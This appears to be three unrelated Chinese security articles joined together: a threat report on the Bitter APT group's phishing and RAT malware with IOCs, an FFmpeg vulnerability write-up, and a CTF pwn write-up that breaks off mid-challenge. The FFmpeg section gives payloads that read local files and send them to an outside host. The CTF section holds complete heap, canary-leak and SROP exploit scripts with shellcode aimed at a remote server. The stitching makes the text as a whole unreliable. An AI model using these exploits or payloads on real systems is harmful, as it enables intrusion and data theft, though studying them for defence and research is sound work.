被仿冒网站：mail.nwpu.edu.cn
钓鱼网站：mail-nwpu-edu-cn.netlify.app
---
**资产分析**
该组织的钓鱼攻击所使用的网络资产属于国外的第三方网络服务和VPS供应商
* 该组织使用了000webhostapp.com、netlify.app和herokuapp.com这些三方网页服务制作钓鱼网站
* 部分自主控制的域名和服务器资产hhwebmail.com、coremailxt5.com、jspsessionindex.com、system-e-mails.space等服务器供应商均为法国的OVH公司
* 其中system-e-mails.space域名的MX记录显示，其使用mailhostbox.com作为邮件服务代理
**投递恶意附件**
该组织投递的恶意附件，主要包含以下几类：
* DDE漏洞文档
* 伪装的知名办公应用的安装包（如：Zoom）
* 恶意压缩包附件，其中包含伪装PDF文档图标的EXE文件
## 恶意载荷分析
在钓鱼邮件的相关攻击中，存在着较少数投递恶意代码的行为，目前观测到的恶意代码主要有以下两类：
### Delphi Packer
该类样本使用Delphi进行编写，其使用了Bobsoft打包器打包的DarktrackRAT，主要运行逻辑如下图所示：
**主逻辑代码分析**
通过钓鱼邮件投递的ZIP压缩包包含一个无法运行的PDF文档和名字带有“Revised“的恶意程序。
解压后，可以看到恶意程序的图标也是pdf图标。
由于正常的PDF文件无法打开，从而诱使用户点击Revised Programmable Logic Control (PLC)
System.exe。执行相应程序。
在RevisedProgrammable Logic Control (PLC)
System.exe中，通过修改SEH异常处理，并通过div指令除以0来触发该异常，进入Shellcode解密执行的流程。
Shellcode会遍历当前进程列表，并通过以下方式来判断自身是否存在于沙箱环境或被调试。
a) 当前程序路径是否带有”sample“，”sandbox“，”malware“；
b) 遍历的进程中是否存在以下字符串相关的进程；
“aswidsagent“ | ”avgsvc.exe“ | ”avgui.exe“ | ”avastsvc.exe“ | ”avastui.exe“
---|---|---|---|---
”avp.exe“ | “bdagent.exe“ | “bdwtxag.exe“ | “dwengine.exe“ | “msmpeng“
“mpcmdrun“ | “nissrv“ | “procmon.exe“ | “procmon64.exe“ | “procexp.exe“
“procexp64.exe“ | “ollydbg.exe“ | “windbg.exe“ | |
c)通过“ZwQueryInformationProcess
“函数检查ProcessDebugFlags、ProcessDebugObjectHandle；
d) 通过fs寄存器检测PEB的BeingDebugged标志；
通过RC4算法，对资源进行解密，获取文件名，将自身路径与文件名进行对比，若不一致的话，则创建Notepad.exe进程,并对其进行注入，进而复制自身到指定路径。并在目录
“%appdata%\Microsoft\Windows\StartMenu\Programs\Startup\
创建Msgr.exe.vbs用于实现自启动驻留。其中Msgr.exe.vbs的内容如下：
当程序以指定路径启动后，则再次获取资源文件，以RC4算法解密，获得PE文件，创建自身子进程，将其映像内存映射到子进程上，启动执行，此时执行的程序为DarktrackRAT。
其中功能列表如下表：
指令 | 功能
---|---
0x2 | 关闭连接
0x3 | 退出程序
0x4 | 关闭连接并完成自删除
0x5 | 遍历磁盘信息，并发送至服务器
0x6 | 遍历指定目录，并将文件信息发送至服务器
0x8 | 打开指定文件
0x9 | 以SW_HIDE模式打开指定文件
0xa | 删除指定文件
0xb | 移动指定文件到指定路径
0xc | 获取指定文件大小，创建线程，使用功能列表2进行交互。
0xe | 创建线程，使用功能列表2进行交互。
0xf | 遍历进程，获取进程名，发送至服务器
0x10 | 关闭指定进程
0x11 | 遍历当前窗口，获取窗口标题和状态，发送至服务器
0x12 | 将指定窗口最大化
0x13 | 将指定窗口最小化
0x14 | 向指定窗口发送WM_CLOSE消息
0x15 | 遍历服务信息，获取服务名和状态，发送至服务器
0x16 | 关闭指定服务
0x17 | 开启指定服务
0x18 | 获取屏幕高度和宽度，创建线程，使用功能列表2进行交互
0x1c | 遍历指定注册表项，将注册表数据发送至服务器
0x1e | 为服务器提供远程shell
0x21 | 将接收到的数据写入全局变量，进行cmd.exe的交互
0x22 | 创建注册表项
0x23 | 删除指定注册表项
0x24 | 删除指定注册表项
0x26 | 创建线程，使用功能列表2进行交互。
0x27 | 创建线程，使用功能列表2进行交互。
0x31 | 获取指定文件大小，创建线程，使用功能列表2进行交互。
0x34 | 无特殊功能，发送数据给服务器
0x36 | 获取桌面或者我的文档的全路径
0x37 | 模拟按键
0x38 | 移动鼠标进行左键单击
0x39 | 移动鼠标进行右键单击
0x3a | 创建指定目录
0x3b | 批量删除指定文件
0x3c | 移动指定文件到指定路径
0x3d | 获取chrome，firefox的账号密码信息
0x3e | 删除指定文件，并从Url获取数据写入该文件，然后执行
0x3f | 删除指定文件，并从Url获取数据写入该文件，然后执行，并完成自删除
其中功能列表2如下：
指令 | 功能
---|---
0x1a | 清除屏幕截图缓存，获取屏幕截图发送至服务器
0x1b | 获取屏幕截图，发送至服务器。该方式会和上一张截图进行对比，若一致的地方覆写为’0’
0x25 | 发送文件键盘监控记录文件klog.dat到服务器，然后删除该文件
0x28 | 枚举本机的视频摄像设备名
0x29 | 绑定视频设备
0x2a | 发送视频设备的图像至服务器
0x2b | 关闭视频设备
0x2c | 循环接收数据，写到指定文件
0x32 | 把文件数据压缩，然后上传
0x33 | 上传指定文件
**恶意代码演进变化**
在最近的2个月时间内，我们发现该组织针对该恶意代码工具的迭代较为频繁。
首先，攻击者对Shellcode入口进行了多次更新，从而来达到逃避杀毒软件检测的目的，最开始其使用了简单的异或来处理Shellcode，随后又换成了RC4算法。
另外，起初是直接进行Shellcode的解密和执行，但是在8月份，发现该系列样本会首先通过除0操作触发异常0xC0000094，跳转进入设置为PAGE_GUARD（保护页）的地址，从而触发STATUS_GUARD_PAGE（0x80000001）异常，进入Shellcode的解密流程。
### AsyncRAT
蔓灵花同时还在使用开源远控程序AsyncRAT，其主要执行逻辑如下：
**主逻辑代码分析**
首先从压缩包解压出伪装成PDF的VB Downloader程序“2020-07-28_RepairForConfirmation_PDF.exe”
其从<hxxp://authowawebmailgo.com/securemail.auth/W.exe> 和
<hxxp://authowawebmailgo.com/securemail.auth/CETC/w.pdf>
分别下载Loader程序和诱饵PDF文件到目录”%USERPROFILE%\my documents\“下，命名为msgrs.exe和CETC.pdf。
诱饵PDF文件内容如下，内容为CETC贸易相关：
其中msgrs.exe是一个经过混淆的.net程序，混淆类型为.NET
Reactor。在该程序中，读取资源数据进行解密，获得Pj.dll，并反射加载执行，其大致功能如下：
数组下标 | 字段 | 功能
---|---|---
19 | “yes“ | 遍历进程是否存在“Fiddler“或”wireshark“，若存在则退出
18 | “T“ | 通过WMI判断是否为虚拟机环境，若是则退出。
17 | “T“ | 若为“T“，则退出，若不为”T“则获取资源”input“，解密后加载执行
5 | “T“ | 获取“Bindfile“资源，解密后写入目录”%appdata%\“下，并执行，其中文件名为array[6],Key为array[1]
7 | “T” | 判断当前程序路径是否含有字符串“\AppData\Roaming\“，若没有，则不执行array[5]释放的文件
14 | 数值大于1 | 休眠对应秒数
9 | “T“ |
复制自身到“%appdata%“下，其中目录名为array[10],文件名为array[11]，并在Startup启动目录下，创建lnk以实现自启动
其复制自身到路径“%AppData%\IEElements\ielowmic.exe“，并获取资源”input“，解密后加载执行，解密后程序为混淆过的AsyncRAT，其功能如下所示：
## 总结
根据我们的详细披露，可以看到蔓灵花（APT-C-08）组织正在定向瞄准大型机构，运用社会工程学开展长达数月的大规模钓鱼攻击行动，其攻击手法狡猾多变、令人防不慎防，一旦攻击成功致使机密数据资料泄漏，将会给政府机构、企业乃至个人都带来严重的损失。360高级威胁研究院将持续监测该组织的攻击活动，目前360威胁情报云、APT全景雷达等360全线安全产品已经支持对该组织的攻击检测，可以有效保护政企机构免受该组织的攻击。
### 团队介绍
ATABOYS小组是360高级威胁研究院下设的新人团队，由部门新一代的实习生和新进员工组成。作为360高级威胁研究院的一股新生力量，团队以共同学习、共同进步为目标，专注于APT捕获、病毒样本分析、攻击追踪溯源等高级威胁研究领域。
360高级威胁研究院是360政企安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。
## 附录 IOC
部分钓鱼网站
mail.163.hhwebmail.com
hhwebmail.com/mfa/
hhwebmail.com/drc/
mail-tsinghua-edu-cn.netlify.app
maill-cnnc-com-cn.netlify.app
mail-nwpu-edu-cn.netlify.app
mail-customs-gov-cn.herokuapp.com
C&C
coremailxt5mainjsp.com
msword.windowsupdate.microsoft.msn.coremailxt5mainjsp.com
us02web.zoom.us.coremailxt5mainjsp.com
jspsessionindex.com
authowawebmailgo.com
23.152.0.221
79.141.168.109: 4975
MD5
zip
3b092371db8d43f89de66683508982ac
f66d98a61c5b00423da7c7adf028cd0a
exe
151a8678be4bc674649dd64964e440f6
cdbcae04476261585322163bb02bde2d
82785755de64891dc16687c55ec951df
bcacf31865962868a5867e091f4627a8
9d9ea8060ca29139803dc7e0dc7d183c
zoominstaller
b28199f88697af8eb1e512a1df6cbf6d
msi
143d2add4e12aad52afe8d92865c1042
DDE doc
1331b068477e2974894a899c855bfc4b | 社区文章 |
# 【技术分享】FFmpeg安全问题讨论（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：blogs.360.cn
原文地址：<http://blogs.360.cn/blog/ffmpegs_security_discussion/>
译文仅供参考，具体内容表达以及含义原文为准。
BlackHat 2016 saw the report on vulnerabilities in video services. The authors
continued researching this area, and are going to tell about new
vulnerabilities (logical and binary) and curious ways to exploit them. Look
forward to hearing real stories about exploiting these vulnerabilities in bug
bounty programs!
– via <Attacks on video converter: a year later>
在6月27日 hackerone 公开了一个关于FFmpeg本地文件泄漏的报告(https://hackerone.com/reports/243470)
该报告中描述为25日公开的另一个FFmpeg本地文件泄漏相关(https://hackerone.com/reports/242831)。该漏洞@Emil
Lerner和@Pavel Cheremushkin在今年的phdays
conference中已经披露(https://www.slideshare.net/phdays/ss-76515896)。
360CERT团队第一时间对该安全问题跟进并将简单预警一个未公开的FFmpeg命令执行漏洞。
**FFmpeg背景知识和工作流程**
FFmpeg是一个非常强大且运用广泛的多媒体框架，可以解码，编码，转码，播放几乎所有格式的多媒体文件。其基本工作流程如下：
原始的封装视频 –> demux分离器对封装的视频资源进行分离 –> 得到音频资源和视频资源 –> 进行解码 –> 得到解压后的音频资源和视频资源 –>
进入filter进行编辑处理 –> 得到处理后的音频资源和视频资源 –> 对资源编码得到转码后的音频资源和视频资源 –> 进入mux混合器进行封装 –>
得到转码封装后的视频
虽然FFmpeg非常强大，但是正因为它强大的格式适配能力，加之各种流媒体协议的多样性，有可能对FFmpeg产生意想不到的安全威胁。
**HLS介绍**
一般流媒体协议分为两种，一种是通过HTTP渐进下载的(如HLS,flash渐进式)，另一种则是RTSP形式的实时流媒体协议。
HLS是Apple提出并推广的，全称为HTTP Live Streaming。它会把整个视频流分成多个小的，基于 HTTP
的文件来下载，每次下载一部分，并把视频流元数据存放于m3u8文件中。
m3u8本身并不是视频文件，它只会指定应该播放的视频资源，而真正播放的视频资源是下载下来的ts文件，可以把m3u8理解为一个配置文件，配置文件中指定了ts为播放文件，一个简单的m3u8如下：
#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
redrain.ts 真正播放的视频资源
当然，这个视频资源也可以是一个远程资源
#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
http://www.redrain.sb/test.mp4 远程资源
**知识点复习**
我们还记得去年的CVE-2016-1897和CVE-2016-1898，一个SSRF和一个任意文件读取漏洞，其中SSRF用到的就是m3u8可以访问获取远程资源的特性。
CVE-2016-1897
CVE-2016-1898
因为FFmpeg扩展性极强，其中支持一个Physical concatenation protocol concat: 可以把多个url流合并访问资源：
concat:URL1|URL2|…|URLN
结合SSRF，我们可以把file://读到的内容发送出来。
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST
之后官方在2.8.5版本修复了该漏洞。
**老树开新花**
在上个月的phdays conference里，通过视频格式的一个trick bypass了厂商对SSRF的封堵。
**奇怪的视频格式标准**
在AVI视频中，有一个数据块可以定义字幕，叫做GAB2，位置于AVI
header中，有趣的是m3u8可以插入到avi文件中，且FFmpeg依旧会对有文件头#EXTM3U的AVi视频做HLS处理。
**bypass继续利用CVE-2016-1898**
所以我们可以通过对含有GAB2 header的AVI视频中嵌入m3u8，bypass厂商对CVE-2016-1898的修复
只需要将之前的PoC嵌入AVI中，依然可以读取到目标文件。
[AVI header GAB2 header]
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST
[AVI body footer]
New Arbitrary File Read
@Emil Lerner和@Pavel
Cheremushkin在会议中其实披露了多个FFmpeg的漏洞，其中一个最为有意思的，也就是在hackerone公开报告中用到的漏洞，把读取到的文件内容输出到视频中，从而可以让文件读取可以在无网络环境的情况下利用。
利用思路如下：
同样将m3u8嵌入到带有GAB2的AVI视频中，对文件格式检查进行bypass。
因为之前说过，m3u8并不是真正的视频资源，所以如果要播放，必须还要在m3u8中嵌入一个可播放的视频资源，其中有一个古老的媒体格式XBin，这个媒体格式具备基本显示图片，文本的功能，体积非常小，最重要的是，这个媒体格式可编程，如果嵌入到m3u8中，将目标文件作为对象，用xbin绘制成为字符，就可以作为合法可播放的视频文件观看了，所以依次嵌套后，文件内容大致为：
[AVI header]
[GAB2 header]
[m3u8 header]
[XBIN header]
目标文件
[XBIN footer]
[m3u8 footer]
[AVI footer]
但FFmpeg检查了body中的非法字符串，所以无法使用data:对XBIN格式声明
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:<format-header>
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:<format-footer>
#EXT-X-ENDLIST
但是m3u8支持AES128的CBC模式加密，可以在#EXT-X-KEY中进行设置，所以可以很简单加密m3u8的内容：
…
#EXTINF:1,
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>
#EXT-X-BYTERANGE: 16
/dev/zero
…
= AES^-1 CONST(0x00…00) ⊕<VAL> = <FMT HEADER>
由于m3u8单次访问目标文件获取到的内容不完整，为了获得完整的文件内容，还需要控制#EXT-X-BYTERANGE设置偏移量，然后重复这一部分
最终，我们得到的文件应该是这样的：
[AVI header]
[GAB2 header]
[m3u8 header]
{loop}
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL> 声明m3u8的AES加密，将XBIN部分加密
[XBIN header] 被加密
目标文件
[XBIN footer] 被加密
{loop}
[m3u8 footer]
[AVI footer]
执行后，读取的目标文件内容成功输出在ffplay的播放器中：
**官方修复**
笔者查看的针对这个漏洞的补丁
<https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7>
主要是在限制后缀名这一行生效：
+ {“allowed_extensions”, “List of file extensions that hls is allowed to access”,
+ OFFSET(allowed_extensions), AV_OPT_TYPE_STRING,
+ {.str = “3gp,aac,avi,flac,mkv,m3u8,m4a,m4s,m4v,mpg,mov,mp2,mp3,mp4,mpeg,mpegts,ogg,ogv,oga,ts,vob,wav”},
+ INT_MIN, INT_MAX, FLAGS},
打上补丁后，允许的扩展只有上述部分了。
**Arbitrary Code Execution**
phdays的ppt中结尾有那么一张：
FFmpeg is one of those projects we trust to have RCE everywhere
事实证明这句话是对的，笔者在去年分析该漏洞和imagemagick命令执行后，对格式处理和媒体处理软件的安全性产生了迷之兴趣，所以不由得多看了一下FFmpeg项目，也发现了一个在处理mov视频过程中同样是嵌入数据的命令执行，但在最新的snapshot中暂时没有复现。
通过老版本演示如下：
**思考**
FFmpeg作为目前来说最广泛的多媒体框架，它的强大之处毋庸置疑，但是正因为适配了尽可能多的媒体格式，其中一些沿用至今的古老格式或是一些特殊的标准协议，都可能给FFmpeg带来不一样的可能性，而缺乏沙箱的设计有可能还会有更多的利用可能性，关于媒体处理的服务组件或软件将会暴露出更多问题。
**参考来源**
<https://hackerone.com/reports/242831>
<https://hackerone.com/reports/226756>
<https://hackerone.com/reports/243470>
<https://www.slideshare.net/phdays/ss-76515896>
<https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf> | 社区文章 |
# 2021 DJBCTF Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
个人赛，最后总排名第三，AK了PWN和RE，Web挖到了一处rce，Misc把签到题做了一下。
## PWN
### big_family
程序存在 **off by null** 漏洞，但是对申请的size有限制，申请范围在0x10~0x46之间，所以对于利用方式也有所限制。
申请这个范围，意味着size位在0x21-0x51之间，刚开始做的时候没想到能申请到0x51的size，故一直没想到办法，通过这个博客学习到了一种之前没有实战过（但想到过）的利用思路：<http://blog.eonew.cn/archives/1212>。通过劫持main_arena上的top来申请到想要的位置，但是在这之前，我们先需要通过合理的布局来构成
**chunk overlapping** 。
**如何来构成chunk overlapping？**
**先来让unsorted bin中有堆块**
利用 **off by one** 的前提一般都是需要有unsorted
bin中的堆块，但是由于这道题申请size的限制，所以我们申请的堆块都会在fastbin中，这时候就需要一些其他操作来让其进入到unsorted bin中。
我们需要利用 **scanf** 来让fastbins中的chunk进入到unsorted bin中。也就是利用 **scanf**
接收时会调用malloc进行申请堆块，而当我们输入的长度大于0x400（largebin的范围），在申请的时候就会先去执行
**malloc_consolidate** ，在这个函数内会调用 **clear_fastchunks** 来清空fastbin，并且
**根据size从小到大依次** 让fastbin chunk进入到unsorted
bin中，并且判定是否可以合并，如果有相邻的fastbin则发生合并。而在之后遍历unsorted bin的时候，又会先从unsorted
bin中脱链根据大小来进入到small bin或者largebin，如果大小不合适的话，就会存在于这两者其中的一个。
**所以在通常情况下，执行scanf的表象就是fastbin中的元素都进入到smallbin中去了。**
**注意：在触发malloc_consolidate后，进入unsorted bin的fastbin的下一个堆块的prev_inuse =
0，并且被写入了prev_size信息。**
**如何利用？**
由于这次加入了 **scanf** 来作为构造的限制，所以一般的 **off by one**
的方法都不再适用了。这次我们需要的就是我之前就在博客中所提及的 **堆收缩（poison_null_byte）** 的方法。之前用的情况是在无法控制
**prev_size**
的时候，而这次是在于如果某个堆块的size在0x101，那么这个堆块一定是在free状况下的，因为我们最多只能申请0x51的size，这样的话我们就无法控制再次free这个堆块来触发unlink。
所以利用 **poison_null_byte**
的方法从而来让堆块收缩，这样的话，由于写prev_inuse和prev_size都是根据当前堆块的size来计算下个堆块的位置来写的，在收缩之后，由于计算得出的下个堆块的位置错误，
**当我们再次申请那部分（被收缩）的堆块的时候，prev_inuse和prev_size无法写入正确的位置。**
接下来我们只要让下面位置的堆块（通过 **malloc_consolidate** 从而标记过prev_inuse = 0的堆块）进入到unsorted
bin，由于prev_inuse = 0，系统根据prev_size去找前面的堆块去合并，从而触发unlink。
**leak libc**
有了chunk overlapping之后，稍微构造一下，就能通过unsorted bin在未free的堆块上写一个main_arena +
88，然后用自带的show函数就可以leak了。
**劫持main_arena**
又有了libc之后，我们可以考虑修改0x51size的chunk的fd到main_arena上的fastbinsY那块区域，我们可以构造，让
**fastbinY** 上有内容，且当这个内容的
**开头为0x56的时候（利用开启PIE后的随机性，有1/3的概率，至于为什么是这个数，可以看一下我house of storm里面写的分析）**
，那么我们就可以成功劫持到这块区域，其实这里可以利用的指定size的fastbinsY的限制挺多的。
比如说这道题（结合调试来看）：
**max限制**
1.我们选择的size至少要小于0x51，因为我们最多只能申请0x51，如果劫持0x51的话，在第二次申请的时候，fastbinsY中0x51size的内容开头就会变成0x7F，不符要求
2.其次我们必须要小于0x41，因为0x41的内容和0x51是相邻的，而我们又需要错位来绕过size判定，而他又是与0x51相邻的话，那么size那部分会有0x51size的内容。
所以综合以上两点，我们能够选择的只有0x21和0x31的size用于劫持，这里选择的是0x21的size，他的位置在 **main_arena +
0xD** 。
**min限制**
3.长度的限制，如果选择使用劫持较小的size，比如选用0x21的size就要考虑到这个问题，也就是能否修改到main_arnea ->
top的内容，有较大的可能性（如果申请size的时候要求小于0x3B + 8 = 0x43就修改不到了）
由于这些东西都是在调试中发现的问题，再去改前面申请的size（毕竟在做题的时候不会想这么全面），所以刚开始的时候没有发现这个问题，浪费了很长时间，而且在看ex师傅在那道题目的exp的时候也看不懂为什么size要变来变去的，直到自己亲手调试了才会明白，建议各位师傅可以亲手试试，下次做题的时候就会流畅很多了。
**修改main_arena -> top**
劫持之后我们就可以尝试修改main_arena -> top的内容了。
通过调试找到main_arena的位置，如果你劫持的是main_arnea +
0xD的0x18的size的fastbinY[0]，那么就要相隔0x3B个数据再写劫持的位置。
**确定劫持top的位置**
由于在malloc的时候会检测top
chunk的size位是否足够，如果不足够则会重新申请一块区域，所以我们一定要确保选择劫持的top位置，有足够大的size。
比如，如果我们要劫持 **free_hook的话，那么我们可以考虑** free_hook –
0xb58位置，但实际上这个位置距离__free_hook太远了，在这道题显然不适用。
所以这道题劫持的是 **malloc_hook，并且选择** malloc_hook –
0x28的这个位置，这个位置的size信息也恰好足够大，符合申请调用。
接下来只需要几次申请（先把fastbinsY和unsorted bin中的内容都申请完），就可以从top
chunk中进行申请，然后我们就可以申请到malloc_hook的位置。
不过这道题，直接上one_gadget无法打通，需要用一个小技巧，也就是用 **realloc_hook** 来调栈，大概也可以用触发double
free的方法吧（未测试）。
**最后稍微吐槽一下，这个libc版本好像不是很大众的吧，居然不给libc。**
**EXP**
from pwn import *
from LibcSearcher import *
libc = ELF('/home/wjh/LibcSearcher/libc-database/db/hitcon-libc-2.23.so')
context.log_level = "debug"
def choice(idx):
r.sendlineafter("Choice:", str(idx))
def add(size, content = '\n'):
choice(1)
r.sendlineafter("build?", str(size))
r.sendlineafter("house?", content)
def delete(idx):
choice(2)
r.sendlineafter("remove?", str(idx))
def show(idx):
choice(3)
r.sendlineafter("view?", str(idx))
def pie(addr=0):
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
return text_base + addr
def pwn():
add(0x28) # 0
add(0x40) # 1
add(0x40) # 2
add(0x40) # 3
add(0x40) # 4
add(0x40) # 5
add(0x18) # 6
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
choice('5' * 0x400)
add(0x28, 'a' * 0x28) # 0
add(0x38) # 1
add(0x38) # 2
add(0x40) # 3
add(0x28) # 4
delete(1)
delete(5)
choice('5' * 0x400)
add(0x38) # 1
show(2)
main_arena_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 88
malloc_hook_addr = main_arena_addr - 0x10
#libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
#libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
realloc_addr = libc_base + libc.sym['realloc']
#realloc_addr = libc_base + libc.dump('realloc')
one = [0x45216, 0x4526a, 0xf0274, 0xf1117]
one_gadget = libc_base + one[3]
delete(3)
add(0x28) # 3
add(0x18, p64(0) + p64(0x51) + p64(main_arena_addr + 0xD)) # 7
#heap = pie(0x202060)
#log.success("heap: " + hex(heap))
log.success("main_arena_addr: " + hex(main_arena_addr))
add(0x40)
delete(0)
add(0x43, '\x00' * 0x3b + p64(malloc_hook_addr - 0x28))
add(0x40) #8
add(0x40) #9
add(0x40) #10
add(0x40, p64(0) * 2 + p64(one_gadget) + p64(realloc_addr + 0x6)) #11
log.success("one_gadget: " + hex(one_gadget))
#gdb.attach(r, "b *" + hex(one_gadget))
choice(1)
r.sendlineafter("build?", str(0x20))
r.interactive()
while True:
try:
#r = process('./family')
r = remote('111.231.70.44', 28003)
pwn()
except EOFError:
pass
### easy_note
libc2.27，没开pie保护且是Partial RELRO
**题目信息**
这道题和一般的堆题不太一样，他是用mmap申请了一个大堆，然后之后写堆块内容都是从他的那块上来，不过也不彻底，还是有一个malloc用于储存临时的结构数据。
他的这个堆块的结构大概是这样的：
offset | name
---|---
0x0 | size
0x8 | canary(4 bytes)
0x10 | content_ptr
程序开了另外一个线程，用于检测他自己随机的 **canary** 是否被更改。
**利用方法**
并且程序存在可以自己输入size的功能，这就造成了溢出，但是由于他这个 **canary** 的保护，直接修改 **content_ptr** 是不可行的。
接下来我们就要把注意力转移到如何泄露出canary的方向上，在show函数中，程序根据这里的size去输出content_ptr的内容，而我们通过堆溢出又正好可以修改这个size的信息，那么我们就可以把size改大，然后泄露canary的内容，在下次溢出的时候保证canary不变的同时来修改content_ptr来实现任意读写。
由于程序没有开 **FULL RELRO**
，所以我们这里可以考虑把content_ptr修改成got表上的free函数，从而show一次就可以leak出libc了。
刚开始的时候考虑修改 **__malloc_hook**
为one_gadget来传参，结果意料之外的是居然没有一个one_gadget可以成功getshell，甚至在利用realloc来调栈的方法都没有一个可行，所以只能考虑更为考虑的
**system** 函数。
然后我们通过修改free函数为system，这样在下次调用free的时候，由于在堆块头部的信息就是申请的size大小，这是我们可控的内容，利用类似ret2text的思想，传入sh的16进制内容，成功getshell。
这里还有一种方法，就是利用 **scanf** 函数在申请大于0x400的chunk后，使用完毕会free掉，如果我们让 **scanf**
函数的内容中存在 **sh（类似 ;sh; ）**
。那么也可以达到getshell的目的。但是要注意，scanf调用的free函数，不会走got表，所以要修改__free_hook才能有用。
**EXP**
from pwn import *
from LibcSearcher import *
#r = process('./easy_note')
r = remote('111.231.70.44', 28008)
elf = ELF('./easy_note')
context.log_level = "debug"
def choice(idx):
r.sendlineafter(">", str(idx))
def add(size):
choice(1)
r.sendlineafter("size:", str(size))
def show(idx):
choice(2)
r.sendlineafter("index:", str(idx))
def edit(idx, content='a'):
choice(3)
r.sendlineafter("index:", str(idx))
r.sendlineafter("size:", str(len(content)))
r.send(content)
def rw(idx, addr, size, content='None'):
add(0x18)
edit(idx, 'a' * 0x18 + p64(0x50))
show(idx)
r.recvuntil('a' * 0x18 + p64(0x50))
canary = u32(r.recv(4))
edit(idx, 'a' * 0x18 + p64(size) + p64(canary) + p64(addr))
show(idx)
if content != 'None':
edit(idx, content)
rw(0, elf.got['free'], 0x8)
free_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
free_hook_addr = libc_base + libc.dump('__free_hook')
edit(0, p64(libc_base + libc.dump('system')))
add(0x6873)
r.interactive()
### easyrop
**SROP模版题**
**（保护全红，栈溢出0x400）**
刚开始的时候路走歪了，没想到 **SROP**
，其实看到这么大栈溢出，应该自然的就知道是SROP了，毕竟良心出题人还是少的，非必须也不会给这么大（相对应的看到很小的栈溢出就想到栈迁移）。
以为是要考察在 **打远程的情况下可以利用fd = 0或1都能利用sys_write来输出内容**
，来泄露栈地址来操作，可惜的是没给libc，这种方法虽然可行，但是概率大概是1/100（大概），也就没有继续尝试下去了，有兴趣的朋友可以看看。
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#r = process('./easyrop')
while True:
try:
r = remote('111.231.70.44', 28178)
syscall_addr = 0x4000DB
main_addr = 0x4000B4
ret_addr = 0x4000DE
#gdb.attach(r, "b *0x4000DB")
r.send('a' * 0x40 + p64(syscall_addr) + p64(1) + p64(main_addr))
stack = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
stack -= 0x1639
log.success("stack: " + hex(stack))
shell = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
r.send('a' * 0x40 + p64(stack) + (0x400 - 0x40 - 0x8 - len(shell)) / 0x8 * p64(ret_addr) + shell)
r.send('cat flag')
#log.success("stack: " + hex(stack))
r.interactive()
except:
pass
之前接触的SROP都是堆题利用setcontext来ROP，也算是少数的接触syscall的SROP吧（虽然这才是正规的SROP），之前博客也有一道SROP的题目，我写了个非预期。
exp没什么好说的，由于有RWX段，我们可以直接写shell，然后跳到那里去执行，不过记得给栈留点地方，不然shellcode用栈的时候会覆盖到一部分内容。
**EXP**
from pwn import *
r = process('./easyrop')
#r = remote('111.231.70.44',28888)
context.log_level = "debug"
context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = 0 #sys_read
frame.rdi = 0
frame.rsi = 0x6000E0
frame.rdx = 0x200
frame.rip = 0x4000DC
frame.rsp = 0x6000E0 + 0x100
#gdb.attach(r, "b *0x4000DB")
payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
r.sendafter("Welcome to DJB easyrop!\n", 'a' * 0x40 + p64(0x4000DB) + p64(0xF) + str(frame))
r.send(payload.ljust(0x100, '\x00') + p64(0x6000E0))
r.interactive()
### **virtual**
观察主程序，发现有一个循环接收内容：
逻辑大概是这样的，读入一串code（长度最多为0x100），然后通过handle函数来解析读取的数据内容，这种读入一共只有两次。
**所以不难想到，如果要控制程序命中率100%的话，我们第一次的code必须要leak libc，而第二次就是尝试改相应的其他位置。**
**执行函数分析**
handle函数非常复杂，代码逻辑我根据题目名字猜测是个类似虚拟机的东西，由于伪代码逻辑混乱，故尝试自己把代码进行调整
首先关注到两个亮眼的位置， **malloc和free**
从这里猜测data + 6存放的是指针的信息，而data + 5也是指针信息，data + 4是堆块的结束位置，在free的时候三者都被清空。
在5这个位置，发现可以输出和输入信息，其中的read功能可以用来leak，这也是唯一的leak点。
在4这个为位置，通过第二个传入的内容，会有不同大小的修改内容
在3这个位置，会有不同程度的增加内容
没啥用
